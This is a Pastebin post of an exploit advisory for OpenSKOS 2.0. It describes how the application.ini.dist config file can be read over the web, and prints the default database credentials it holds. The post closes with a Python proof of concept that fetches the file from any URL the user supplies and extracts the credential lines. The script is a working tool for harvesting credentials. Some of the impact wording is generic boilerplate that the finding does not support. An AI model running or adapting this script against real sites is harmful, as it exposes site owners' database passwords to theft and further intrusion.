KingSkrupellos

OpenSkos Software 2.0 Database Configuration Disclosure

May 1st, 2019
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.99 KB | None | 0 0
  1. ######################################################################
  2.  
  3. # Exploit Title : OpenSkos Simple Knowledge Organization System 2.0 Database Configuration Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 02/05/2019
  7. # Vendor Homepage : openskos.org
  8. # Software Information Link : openskos.org/api#about-the-openskos-api
  9. # Software Download Link : github.com/OpenSKOS/OpenSKOS/archive/master.zip
  10. # Software Affected Versions : 2.0 and other versions
  11. + openskos.org/oai-pmh?verb=Identify
  12. # Tested On : Windows and Linux
  13. # Category : WebApps
  14. # Exploit Risk : Medium
  15. # Vulnerability Type :
  16. CWE-16 [ Configuration ]
  17. CWE-200 [ Information Exposure ]
  18. CWE-538 [ File and Directory Information Exposure ]
  19. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  20. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  21. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  22.  
  23. ######################################################################
  24.  
  25. # Information about Software :
  26. ***************************
  27. OpenSKOS - Simple Knowledge Organization System
  28.  
  29. #####################################################################
  30.  
  31. # Impact :
  32. ***********
  33. OpenSkos Simple Knowledge Organization System 2.0 configuration file may potentially
  34.  
  35. disclose sensitive information to remote attackers.
  36.  
  37. The username and password of the database may be obtained trough the "application.ini" file.
  38.  
  39. This is going to have an impact on confidentiality, integrity, and availability.
  40.  
  41. The configuration file unintentionally stored in /application/configs/application.ini
  42.  
  43. HTTP requests consisting of a single character will cause the software to disclose sensitive
  44.  
  45. configuration information, including the password/database to the administrative web interface.
  46.  
  47. This file is installed, by default, with world readable and possibly world writeable permissions enabled.
  48.  
  49. This may have some potentially serious consequences as the configuration file
  50.  
  51. also stores password information in plain text.
  52.  
  53. This issue occurs because access controls on configuration files are not properly set.
  54.  
  55. An attacker can exploit this issue to retrieve potentially sensitive information.
  56.  
  57. Attackers can access config file via URL request. This may aid in further attacks.
  58.  
  59. The access to the /configs directory should be restricted with an adequate
  60.  
  61. countermeasure by the use of a .htaccess file.
  62.  
  63. * The product stores sensitive information in files or directories that are accessible to actors
  64.  
  65. outside of the intended control sphere.
  66.  
  67. * An information exposure is the intentional or unintentional disclosure of information to an actor
  68.  
  69. that is not explicitly authorized to have access to that information.
  70.  
  71. 1. Install the OpenSKOS code
  72. ****************************
  73. Copy the code to a location of your choice.
  74.  
  75. Make sure all files are readable by your webserver. Make sure the directories data/uploads,
  76. cache, public/data/icons/assigned and public/data/icons/uploads are writable for the webserver.
  77.  
  78. For security reasons you can place the data directory outside your webserver's document root.
  79.  
  80. 1.2 Configuration
  81. *****************
  82. To configure OpenSKOS you have to rename:
  83.  
  84. APPROOT/application/configs/application.ini.dist
  85.  
  86. to APPROOT/application/configs/application.ini
  87.  
  88. Now you can edit the APPROOT/application/configs/application.ini.
  89.  
  90. You can have separate config settings for specific deployments.
  91. The configuration section marked by the Environment Variable
  92. APPLICATION_ENV (see 2.1 Setting Up Your VHOST). Most settings are self explanatory.
  93.  
  94. If you experience any problems you may want to modify settings in the config, to
  95. show you more verbose error messages:
  96.  
  97. resources.frontController.params.displayExceptions=1
  98. phpSettings.display_errors = 1
  99.  
  100. #####################################################################
  101.  
  102. # Database Configuration File Disclosure Exploit :
  103. *******************************************
  104. /application/configs/application.ini.dist
  105.  
  106. Information :
  107. *************
  108. ; Solr configuration:
  109. solr.host = localhost
  110. solr.port = 8983
  111. solr.context = /solr
  112. ; Database configuration:
  113. resources.db.adapter=pdo_mysql
  114. resources.db.params.host=localhost
  115. resources.db.params.username=openskos
  116. resources.db.params.password=openskos
  117. resources.db.params.charset=utf8
  118. resources.db.params.dbname=openskos
  119. resources.db.isDefaultTableAdapter = true
  120.  
  121. Exploit - Proof of Concept :
  122. **************************
  123. #!/usr/bin/python
  124. import string
  125. import re
  126. from urllib2 import Request, urlopen
  127. disc = "/application/configs/application.ini.dist"
  128. url = raw_input ("URL: ")
  129. req = Request(url+disc)
  130. rta = urlopen(req)
  131. print "Result"
  132. html = rta.read()
  133. rdo = str(re.findall("resources.*=*", html))
  134. print rdo
  135. exit
  136.  
  137. #####################################################################
  138.  
  139. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  140.  
  141. #####################################################################
Advertisement
Add Comment
Please, Sign In to add comment